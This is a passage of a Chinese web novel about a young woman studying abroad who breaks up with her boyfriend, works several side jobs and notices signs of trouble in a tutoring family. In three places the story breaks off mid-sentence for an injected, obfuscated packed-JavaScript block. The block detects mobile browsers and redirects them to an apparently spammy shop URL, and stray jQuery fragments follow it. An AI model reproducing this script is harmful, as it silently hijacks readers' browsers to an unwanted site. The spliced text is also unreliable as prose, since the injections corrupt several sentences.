昏暗的客厅里灯光乱闪,沙发被挪开、地毯上人挤着人,笑得大声又放肆,吐出的白雾在空气里萦绕盘旋。 整个空间混乱又浑浊,霍嘉蔚感到窒息,她忍住恶心往里走,踢开旁边的酒瓶。 有人注意到她,端着酒杯凑过来:“刚到吗,喝一杯?” 霍嘉蔚无暇理会,目光直直扫向沙发上的徐继唯。 他坐在沙发上,旁边还倚着一个女生。对方看着他的手,指尖在他掌心画着什么。两人交头接耳,聊得酣畅,全然忘了其他人的存在。 霍嘉蔚的胸口猛地一紧,抓起旁人手里的啤酒,上前两步,浇到徐继唯头顶。 冰冷的液体“哗”地淋下,溅得旁边女生尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477968|201592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫着跳开。 “我c,谁他妈…”徐继唯被浇得一脸懵,下意识骂出声,抬头看清来人时,整个人顿住了。 “你怎么来了。” 易闵闵不知从哪冒了出来,见气氛不对,立刻给旁边的女生使了个眼色,打圆场道:“来来来,介绍一下”,他拍了拍手,语提高了语调,“霍嘉蔚,霍女神,你继唯学长的女朋友。” 那女生添了把火,低声嘟囔:“不是说刚分吗?” 霍嘉蔚的目光始终落在徐继唯身上,闻言,勾起一抹讽刺的笑:“确实分了”。 她把钥匙扔到茶几上。金属撞击桌面,清脆一声,盖过了音乐。 徐继唯顾不上擦身上的水,一把拽住她的手臂,往屋外走。 周围人识趣地让开。 屋外走廊比客厅安静许多,气温也更低。 有那么一刻,霍嘉蔚心里想的是,他身上湿了,不换衣服可能会着凉。她停下脚步,甩开:“别碰我。咱们结束了。” “嘉蔚,那是易闵闵的学妹,她会算塔罗牌,我让她看看咱们的关系走向。” “塔罗牌?你什么时候信这个?” 话说出口,霍嘉蔚就后悔了。此时再纠结这些已经没有意义,多待一秒,只会让别人多看一秒的热闹。况且,她清楚看到那两人紧挨着坐在一起,哪有什么塔罗牌。 空气陷入沉默,连背景的音乐声都消失了。 “对不起。” 徐继唯忽然道歉,短短三个字,像重锤落在霍嘉蔚胸口。呼吸像被勒住般沉重,怒气、失望、悲愤交织,她的心被扯成两半。 “我和她不是你想得那样。” 她忍住情绪,道:“就算你真劈腿了,也没事儿”。 “什么?”徐继唯意外,脸上有一瞬间的轻松。 “我们分手,和别人没关系”,霍嘉蔚弯起唇角,笑意冷得刺骨:“只是我对你这个人,彻底没感觉了。” 她语速很快,什么难听捡什么说:“我受够了你这种巨婴。你一口一个让我现实一点,我看最天真可笑的人,是你自己。大学四年,除了打游戏,你有什么长进吗?” 见他脸色变得难看,霍嘉蔚有点解气了,索性不留情面到底:“就算我和籍又夏当朋友,也比你整天和这群人混在一起强。对了,你别浪费时间读什么硕士了,就你那点GPA,能申到什么学校?早点回国卖中药去。” 以前他们吵架,即便徐继唯没有理亏,先道歉的总是他。但这一次,霍嘉蔚把话说到最刻薄、最尖锐的程度,不给他留一丝尊严,直接宣判了这段关系的死刑。 易闵闵听见砰的一声关门巨响,紧接着,徐继唯独自回来。他脸上没有任何色彩,一进屋,就把自己锁进卧室。 朋友们有些担心,撺掇着易闵闵去打探情况。 这种时候,傻子才往枪口上撞。易闵闵问学妹,你俩到底什么情况。 学妹对徐继唯早有好感,要不然也不会趁虚而入。可单身暧昧是一回事,插足劈腿又是另一回事。她张了张嘴,还没开口解释,眼圈先红了:“学长明明说他分手了,我才…” 学妹吞吐着没再往下说,易闵闵把她拉到一边,放低声音问:“怎么回事?” “那晚我们都喝了点酒”,学妹声音发虚,“就是…靠得近了点,他没推开。” “别说细节。就一句话,到几垒了?” 学妹低头,不肯多说。 易闵闵爆了句粗口:“他妈子弹出膛都没这么快。” 17. 第 17 章 霍嘉蔚一点也不难过。 她没空伤心。 像什么都没发生过一样,她开始学着自己做饭,按部就班地推进毕业设计,所有零碎的空闲时间都用来赚钱。美甲生意有了起色,因为定价不低,反而筛掉了过度追求性价比的客人。 她还开通了一个社媒账号,学着那些美甲工作室晒成品图,吸引线上客户。 日子忙碌紧凑,她一遍遍告诉自己,不准回头。 即使徐继唯上门求和,共同好友反复劝说,她始终没有松口。 其实到现在,她没有完全确认徐继唯是否真的劈腿。事实已经不重要了,反正他与陌生女孩亲近、轻松说笑的样子,足够说明问题。 其实从自己家里出事那一刻起,他们就不适合在一起。趁此机会了断也好,更何况,给徐继唯贴上一个“劈腿渣男”的标签,更容易让她释怀。 看吧,就这样一个渣男,一点也不值得留恋。 霍嘉蔚以为自己可以很快走出来,然而一到晚上,和徐继唯通话的时间空了出来。安静一降临,情绪还是会反扑,一股钝钝的、凌迟般的痛苦缓缓袭来。 毕竟是初恋。 谈了五年,是恋人,也是无话不谈的亲密朋友。从中学时代的校园恋情,到出国后的互相依赖,他们拜访过彼此的家人,共同经历了琐碎平凡的日常,也认真聊过未来规划——近到毕业礼服的配色、远到婚后要几个小孩,关于未来生活的一切,都有清晰的设想和期待。 就这样结束了?失重感像潮水般涌进,痛苦之余,霍嘉蔚猛然意识到,在这个陌生国度,自己没有可以信任的人了。 不安全感取代了失恋的痛苦。 为了填补内心的空洞和失落,她不得不疯狂找事做、交新朋友,连一直不太看得上的籍又夏,都成了她的倾诉对象。 抛开作风不谈,籍又夏对待生活举重若轻的姿态,确实给了霍嘉蔚很大启发。她说:“这是好事,你这么漂亮又富有魅力,根本不乏追求者,也不缺谈恋爱的机会,何必要在一棵树上吊死?” 霍嘉蔚抹掉眼泪,说你以前可不是这样说的。 籍又夏狡黠一笑,不装了:“我的原则是没原则,只护短。那时候以为你们感情好,自然得说点好听的,现在都分了,我就实话实说。” 霍嘉蔚竟觉得这话有点贴心。 “他就是一温室花朵,经受不住风雨的摧残,根本配不上你”,籍又夏说着,目光在她脸上停了停,不得不承认,比起自己精心维护的漂亮,她更羡慕霍嘉蔚这种毫不费力的自然美。 “走出失恋最快的办法就是无缝衔接,要不要我给你介绍男朋友?” “不用”,霍嘉蔚义正言辞地拒绝,且不说她不屑做什么无缝衔接之类的事,更何况,她不信籍又夏介绍的男人会是什么好货色。 籍又夏看出了她的疑虑,立刻为自己辩解:“放心吧,我现在‘改邪归正’了。” 她边说边抬手,做了个打引号的动作。 “真的假的”,霍嘉蔚语气里没有嘲讽,带着一点认真。她由衷地希望籍又夏能有所改变,至少对自己的人生更负责一点。 “我新交了个男朋友,是律师”,籍又夏有点小骄傲。 “那是蛮精英的”,霍嘉蔚由此想到什么,说:“不过我最怕遇到两类人,一个是医生,另一个就是律师。” “为什么?” “遇到麻烦事才要和他们打交道,希望这辈子,离律师和医生越远越好。” “你还说我悲观,你看看你,这活得才叫惊弓之鸟呢。” …… 作为朋友,籍又夏很讲义气,给她的朋友们宣传了一波霍嘉蔚的上门美甲,招来了不少客户。 年底,找霍嘉蔚做美甲的预约几乎排满,她忙得不可开交。与此同时,还有一件事,往疲惫苦涩的生活里,撒了点糖。 卡里突然多了一笔进账。 是艺术中心姗姗来迟的打款。 虽然扣掉税和手续费,到手的金额折损了快一半,但也是一笔巨款了,足够支撑她过上一段从容的日子。康妮发邮件解释,称钱早到账了,不过艺术馆内部手续复杂,流程走得慢了些,让她久等了。 手头再次变得宽裕,霍嘉蔚紧绷的神经得以喘口气。想起那位慷慨大方的买家,她好奇文乾玥最后有没有联系他,随手发了条消息问后续。 文乾玥没有回复。霍嘉蔚当她一时忘了回,又或者没有后续不值说道,便没放在心上。 跨年这天,霍嘉蔚给自己放了一天假,计划在家里做饭看综艺,就当庆祝新年了。室友聂希喆下午出门时,见她在厨房做饭,奇怪平时早出晚归的她,今天居然没有外出。 等电梯的间隙,聂希喆想了想,还是折返回来:“嘉蔚,要不要一起去海军码头看烟火?” 霍嘉蔚摇头:“不了”。 聂希喆看着她,迟疑了一下,又问:“你今天有别的安排?” 知道她分手不久,这种热闹的日子容易把孤独放大,聂希喆不放心留她一个人在家。 霍嘉蔚看了她一眼,还是摇头。 聂希哲走过去,小声道:“其实我有个小事,想找你帮忙。” “什么事?” “我们今晚和几个朋友一起,都是组里的同学,有个厄瓜多尔的男生一直对我有点意思,暗示过好几次,但我不太喜欢他。你能不能陪我一起去?到时候我们俩结伴行动,我也好有个理由避开他。” 霍嘉蔚犹豫了。 聂希喆继续劝说:“去吧,就当帮帮我了。” …… 第一次在外面跨年,没有预料到会人挤人,也不知道码头的风如此之大,霍嘉蔚在寒风中瑟瑟发抖,一手紧紧揣进外套口袋,一手挽着聂希喆的胳膊。 即使被冷风吹到不断流泪,但在看到城市天际线被灯光染亮的那一刻,她还是觉得很幸福梦幻。 往年这种时刻,都是和徐继唯一起过的。他们从来没有参与过这种热闹的群体活动,徐爷爷说美国不安全,枪击频发,不许他们往人多的地方凑。 徐继唯真就乖乖听家里人的话,节日活动再丰富,也从不外出凑热闹。去年今天,他们在文乾玥市中心的高层公寓里聚会。她家客厅有两面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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零点一过,观景台逐渐散场,她们被挤在人群中缓慢前行。不远处的大道上,堵车的队伍一眼望不到头。 为快速疏散人群,闪着红蓝色灯光的警车横停在路中央,把旁边的单行车道彻底封住。几名穿制服的警察站在路边,神情冷硬,丝毫没有因为节假日执勤而放松警惕。 以前徐继唯他们总嫌弃这种聚集活动,说外面不安全,人多的地方又乱又嘈杂。此刻站在寒风里,被人群缓缓推着向前,脚下是踏实的地面,四周是嘈杂却有秩序的喧闹,警车的灯光在夜色里一闪一闪,霍嘉蔚感受到一种别样的滋味。 她有点替徐继唯和从前那群朋友悲哀,他们总以为自己与普罗大众不同,要搞特殊化、搞小圈子,殊不知,他们所谓的聚会,不过是找个由头纵情娱乐,喝酒、抽大麻……和自甘堕落的流浪汉没什么区别。 这样一想,霍嘉蔚找回了一点心理平衡,她低声给自己打气,鼓励自己向前看。 “你嘀嘀咕咕说什么?”聂希喆问。 “没什么”,霍嘉蔚顿了顿,移开话题:“喆姐,你为什么不喜欢那个赤道男。我觉得他挺帅的,而且南美人都懒散,他能读博士,说明挺勤奋的,可能家庭背景还不错。” “是么”,聂希喆觉得这小姑娘有点东西,“Ruiz确实是高知家庭来着,父母都是医生,他还有两个妹妹。” 霍嘉蔚意外:“你知道得这么清楚,看来也不是完全没考虑过。” “我的审美比较传统,还是喜欢同种族异性”,聂希喆摇头,其实她有别的打算,只是一时半会没下定决心。 18. 第 18 章 霍嘉蔚发现,不止文乾玥把她屏蔽了,还有不少共同好友,都对她设置了不可见。她本想表现得不在意,可一打开微信,看到群聊依旧火热,她却插不上话,心里一阵失落。 为了验证他们有没有删除自己,借着元旦的契机,她给这些朋友一一发去新年祝福。 事实很快摆在眼前——除了文乾玥,其他人都把她删了。 不得不说,徐继唯就是个交际草。以前她不明白当老好人有什么用,如今一分手,大家的站队说明了一切。 她退出了所有小群,决定和他们彻底划清界限。 说实话,她并不为失去这些朋友感到难过,只觉得荒唐和可笑。哪有什么真心换真心,所谓的友情,不过是依附在某些共同利益上的附赠品,一旦利益失效,附赠品也被一并收回。 想通这一点,她又释怀了一些。 文乾玥回了消息,同样祝她新年快乐,解释自己最近回国太忙,所以漏回了消息。简单聊了几句,两人默契地点到为止。霍嘉蔚顺手点进她的主页,发现朋友圈依旧对她不可见。 这样划清界限也挺好。 过完圣诞和新年,西方国家进入了一年中最冷清的时节。节日的装饰被陆续撤下,橱窗恢复成平日的模样,街道上的热闹像被一夜抽空,只剩下灰白的冬日和按部就班的生活。 对霍嘉蔚来说,这样的安静反而让她心安。没有必须参与的社交,没有被节日气氛放大的孤独,日子重新回到平淡而有序的节奏。 可能是寒假留学生都回国了的缘故,美甲和各类跑腿业务少了不少,为了避免让自己陷入自怨自艾的情绪,她又找了一些新的事情做——送外卖。 她把服务范围限定在富人区,想多赚点小费。 拿到了艺术中心的打款,按理说可以过得轻松一点,可攒钱这事是会上瘾的。 就像去果园摘果子,先不说爱不爱吃,只要看到成熟饱满的果实挂在枝头,就忍不住伸手去摘。每多赚一笔钱,就像多摘了一颗果子,看着篮子越来越满,她就有了更多的安全感。 这天,在把两盒披萨送到林肯公园的湖景公寓时,她恍惚想起上次来这,还是Yolanda带她来看房。明明才过去几个月,现在回想起来,却像隔了几个世纪那么遥远。 离开时,她放慢了车速,摇下车窗,让冬日的寒风灌进车厢。看着精致冷清的街景从眼前掠过,内心涌起一丝不甘,这辈子,还有机会住进这里吗。 肯定有。她内心笃定,默默把林肯公园的penthouse,设成了下一个奋斗目标。 什么爱情、友情,都不如把多赚钱来得实在。 她才不要为不值得的人和事浪费感情,所以当徐继唯再次通过邮件试图联系她时,霍嘉蔚都没点开看,只是平静地删掉了邮件,顺便把他设成了免打扰。 与此同时,她开始系统地投简历、准备新一轮的面试。 理想中的去处,依旧是博物馆或艺术机构的岗位,专业对口,听起来也体面。但这些工作弊端很明显,岗位少,流程冗长,且大多解决不了身份问题。她只能把范围扩大到营销和科技公司,喜不喜欢,已经不在优先级里了,待遇好、能解决身份问题才是关键。 临近中国春节,Yolanda给她准备了一个大红包,说是作为兼职工作的奖励,并且还告诉她,易闵闵拿下了那栋楼,她即将会收到一笔数字可观的分成。 霍嘉蔚不懂业内规矩,觉得自己能跟着喝点汤,拿个一两千刀就很知足了。不想几天后,她被到账的收入震惊——整整三万刀! Yolanda居然舍得给她分这么多,不会打错了吧。 “你介绍的客户线索是成交关键”,Yolanda解释,“我们能拿房价5%的佣金,除开税费和手续费,我和公司平分了一部分,剩下的给你。” 霍嘉蔚心里一阵激动。这是她第一次感受商业地产的行业潜力,心里不由得冒出一个大胆的念头——如果实在找不到工作,不如跟着Yolanda一起卖房…… 但众所周知,销售这一行半年不开张,开张吃半年,她思考了一下,把它作为保底选项,实在找不到工作再说。 看着账户的数字重新变多,霍嘉蔚越想越觉得自己幸运。一路上遇到的都是靠谱的伙伴,让她几乎没怎么踩坑和吃苦头,就扛过了最艰难的日子。如今,还轻易拥有了第一桶金。 不得不说,这半年人生经历的密度,比过去二十年都来得大。 不过她并没有因此松懈,有了正向反馈,在赚钱的道路上走得更加卖力。几万的存款固然不少,但离“林肯公园大平层”还差了十万八千里。尤其一想到那笔提成,追根究底是易闵闵账户上划过来的,她心里有点膈应。 再想到他能一口气花八百万买栋楼,而这几万刀不过是从他手指缝里漏出的沙子,她心中的不甘又增加了几分。 情绪无处排解,只能发泄到工作上。 室友聂希喆见她每天连轴转,打着好几份工,严重怀疑她还没走出情伤,半开玩笑地调侃:“我再有一年就要毕业,论文才刚开头,是不是也该谈个恋爱,然后分手,看看能不能被刺激出一身干劲?” 霍嘉蔚苦涩一笑,移开话题,问聂希喆接下来的打算。 “已经联系好了本科学校,回去做研究助理”,她语气轻松,话音一落,又略带抱怨地说:“让我年底入职,可我都不确定能不能准时毕业。” “你都找到工作了?”霍嘉蔚惊讶。 “没什么找不找的。我想回国,只能加入原来导师的团队,算是学术圈的潜规则”,聂希喆有几分无奈。 霍嘉蔚本意是想打探就业行情,却发现人类的悲欢并不想通,她脱口而出:“多好的潜规则,我也想被潜”。 这话逗得聂希喆放声大笑:“得了吧,你这么拼命。谁都有可能被潜,就你不会。” 霍嘉蔚笑不出来。 说真的,打零工一点也不轻松,工作没着落更是磨人心态。她无时无刻不想放弃,要不干脆学籍又夏,找个现成的金主抱大腿算了。反正她知道,目前这个处境,是没办法随心所欲择偶的。爱情这种高贵的精神世界的产物,已经在和徐继唯分手那一刻,永远和她saygoodbye了。 她自嘲:“我想找个资产过亿、长相顺眼、身材健壮的富豪,年龄大点没事、离异有小孩也没关系,如果奄奄一息连x功能都丧失了,那就完美了,我嫁过去直接继承巨额财富。对了,你知道我最羡慕谁吗?乔布斯的遗孀。” 越说越不着边际了,聂希喆打断:“真有老头愿意要你,你未必乐意。” 谁说不是呢。 时间一晃眼,到春节了。 这天去家教课的路上,霍嘉蔚顺道去了一趟唐人街,在礼品店挑了介绍中国新年习俗的绘本和熊猫玩具,准备送给小珠做新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17477970|201592||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年礼物。 赵培对孩子的中文学习很上心,课后总会问以小珠现在的水平,能不能在中文环境下生活和学习。问得多了,给霍嘉蔚留下一种她很想带小珠回国生活的错觉。可小珠爸爸是老外,应该不会同意这么做。话说回来,上了这么多次课,霍嘉蔚还从没见过小珠的爸爸。 按下门铃,赵培很快来开门。屋里的暖气扑面而来,她穿了件连帽修身外套,拉链拉到脖子,手也缩在袖口中,神态有点不自然。 “小珠在屋里”,赵培径直把她往屋内引。 路过客厅时,霍嘉蔚瞥到地板角落有细小的玻璃碎片,她心里略有疑虑,面色仍表现得若无其事。小珠坐在地毯上玩积木,看到霍嘉蔚进来,抬头喊了一声“霍老师”,又很快低下头去,继续小心翼翼地玩着积木。 “小珠,我给你带了礼物,你最喜欢的熊猫”,她蹲下身,从手袋里掏出毛绒玩具。 小珠惊讶地抬起小脸,盯着霍嘉蔚手里的熊猫,眼睛逐渐恢复了神采:“谢谢。” “不客气,你喜欢就好”,霍嘉蔚笑着,摸了摸她金色的小辫子。 小珠把熊猫抱进怀里,用下巴地蹭了蹭,嘴角弯起一个微笑的弧度,霍嘉蔚心也跟着软了一下。 她准备的课程内容并不复杂,无非是问候交流类的日常用语和名词表达。对四岁的孩子来说,学语言的过程更像一种游戏,而不是功课。 小珠身上有种超越同龄人的成熟和懂事,总能很快理解霍嘉蔚想表达的意思,也愿意配合着开口练习。很多时候,甚至不用多解释,只需一个表情或动作提示,她就能心领神会。 对霍嘉蔚来说,给她上课的两个小时,完全是一种放松和享受。 上课上到一半,门外传来一阵尖锐的响声。霍嘉蔚稍微愣了一下,见小珠的眼神不自觉朝门口飘了一下,很快恢复了正常,她便也没停下,继续往下讲。 随后,不断有隐隐约约的争吵声传来,分贝不高,却能听清是一男一女的声音,大概是赵培和丈夫起了争执。直到课程结束,外面的争吵声还没停止。 小珠却像是早就习惯了,专注翻着绘本,嘴里念念有词。 霍嘉蔚收好自己的物品,试着说:“小珠,我先走了?” “霍老师,拜拜”,小珠爽快和她道别。 “我真走了”,听到外面还在吵,霍嘉蔚有点不敢出去,硬着头皮问:“你要不要送送老师”。 “好”,小珠乖乖跳下椅子,牵起她的手。 在房门开关发出轻微的响动时,客厅里的争吵瞬间停了。赵培独自坐在沙发上,头发有些凌乱,额前几缕碎发垂下来,遮住了表情。 旁边站着一男人,背脊绷得很笔直,似乎正在气头上。霍嘉蔚匆匆瞥了一眼赵培的丈夫,金发,个子不高,身形健硕。 赵培看见她们出来,匆忙起身,将人送到门口,冲霍嘉蔚勉强笑了笑,商量道:“下周二是除夕,你有其它安排的话,课程可以取消。” “好呢,那就停一次课”,霍嘉蔚应下,目光不自觉在她脸上停留了一瞬。赵培今天的妆容很淡,粉底却比平时厚了一层,铺得有些不均匀。 霍嘉蔚想了想,没再多问,说了句“过年快乐”就离开了。 到家后,她有点放心不下,想给黄家松发消息说这事。据她所知,黄家松和赵培关系挺好的,两人似乎是亲戚。然而犹豫再三,她还是没开这个口。